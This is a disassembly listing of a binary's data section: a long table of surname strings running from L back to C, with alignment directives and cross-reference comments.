aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E024o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E020o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E01Co
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E018o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E014o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E010o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E00Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E008o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E004o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E000o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFFCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFF8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFF4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFF0o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFECo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFE8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFE4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFE0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFDCo
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFD8o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042DFD4o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DFD0o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DFC4o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DFC0o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DFBCo
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DFB8o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DFB4o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DFB0o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DFACo
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DFA8o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DFA4o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DFA0o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF9Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF98o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF94o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF90o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF8Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF88o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF84o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF80o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF7Co
aLa		db 'La',0               ; DATA XREF: ___:0042DF78o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF74o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF70o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF68o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF64o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF60o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF5Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF58o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF54o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF50o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF4Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF48o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF44o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF40o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF3Co
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF38o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DF34o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DF30o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DF2Co
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DF28o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DF24o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DF20o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DF1Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DF18o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DF14o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DF10o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DF0Co
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DF08o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DF04o
		align 4
aKittridge	db 'Kittridge',0
		align 4
aKirscht	db 'Kirscht',0
aKippenberger	db 'Kippenberger',0
		align 10h
aKinsley	db 'Kinsley',0
aKindall	db 'Kindall',0
aKimura		db 'Kimura',0
		align 4
aKimmett	db 'Kimmett',0
aKimmel		db 'Kimmel',0
		align 4
aKhong		db 'Khong',0
		align 10h
aKeul		db 'Keul',0
		align 4
aKerry		db 'Kerry',0
		align 10h
aKendall	db 'Kendall',0
aKemsley	db 'Kemsley',0
aKempton	db 'Kempton',0
aKelsey		db 'Kelsey',0
		align 10h
aKelker		db 'Kelker',0
		align 4
aKeith		db 'Keith',0
		align 10h
aKeepper	db 'Keepper',0
aKeenan		db 'Keenan',0
		align 10h
aKee		db 'Kee',0
aKawachi	db 'Kawachi',0
aKasten		db 'Kasten',0
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DEA8o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DEA4o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DEA0o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE9Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE98o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE94o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE90o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE8Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE88o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE84o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE80o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE7Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE78o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE74o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE70o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE6Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE68o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE64o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE60o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE5Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE58o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE54o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE50o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE4Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE48o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE44o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE40o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE3Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE38o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DE34o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042DE30o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DE2Co
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DE28o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DE24o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DE20o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DE1Co
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DE18o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DE14o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DE10o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DE0Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DE08o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DE04o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DE00o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDFCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDF8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDF4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDF0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDECo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDE8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDE4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDE0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDDCo
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDD8o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DDD4o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DDD0o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DDCCo
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DDC8o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DDC4o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DDC0o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DDBCo
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DDB8o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DDB4o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DDB0o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DDACo
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DDA8o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DDA4o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DDA0o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD9Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD98o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD94o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD90o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD8Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD88o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD84o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD80o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD7Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD78o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD74o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD70o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD6Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD68o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD64o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD60o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD5Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD58o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD54o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD50o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD4Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD48o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD44o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD40o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD3Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD38o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DD34o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DD30o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DD2Co
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DD28o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DD24o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DD20o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DD1Co
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DD14o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DD10o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DD0Co
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DD08o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DD04o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DD00o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCF8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCF4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCF0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCECo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCE8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCE4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCE0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCDCo
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCD8o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DCD4o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DCD0o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DCCCo
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DCC8o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DCC4o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DCC0o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DCBCo
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DCB8o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DCB4o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DCB0o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DCACo
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DCA8o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DCA4o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DCA0o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC9Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC98o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC94o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC90o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC8Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC88o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC84o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC80o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC7Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC78o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC74o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC70o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC6Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC68o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC64o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC60o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC5Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC58o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC54o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC50o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC4Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC48o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC44o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC40o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC3Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC38o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DC34o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DC30o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DC2Co
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DC28o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DC24o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DC20o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DC1Co
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DC18o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DC14o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042DC10o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DC0Co
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DC08o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DC04o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DC00o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBFCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBF8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBF4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBF0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBECo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBE8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBE4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBE0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBDCo
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBD8o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DBD4o
					; Themida_:0055849Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DBD0o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DBCCo
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DBC8o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DBC4o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DBC0o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042DBBCo
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DBB8o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DBB4o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DBB0o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DBACo
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DBA8o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DBA4o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DBA0o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB9Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB98o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB94o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB90o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB8Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB88o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB84o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB80o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB7Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB78o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB74o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB70o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB6Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB68o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB64o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB60o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB5Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB58o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB54o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB50o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB4Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB48o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB44o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB40o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB3Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB38o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DB34o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DB30o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DB2Co
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DB28o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DB24o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DB20o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DB1Co
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DB18o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DB14o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DB10o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DB0Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DB08o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DB04o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DB00o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAFCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAF8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DAF4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAF0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAECo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAE8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAE4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAE0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DADCo
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAD8o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DAD4o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DAD0o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DACCo
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DAC8o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DAC4o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DAC0o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DABCo
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DAB8o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DAB4o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DAB0o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DAACo
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DAA8o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DAA4o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DAA0o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA9Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA98o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA94o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA90o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA8Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA88o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA84o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA80o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA7Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA78o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA74o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA70o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA6Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA68o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA64o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA60o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA5Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA58o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA54o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042DA50o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA4Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA48o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA44o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA40o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA3Co
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA38o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DA34o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DA30o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DA2Co
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DA28o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DA24o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DA20o
aCui		db 'Cui',0              ; DATA XREF: ___:0042DA1Co
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DA18o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DA14o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DA10o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DA0Co
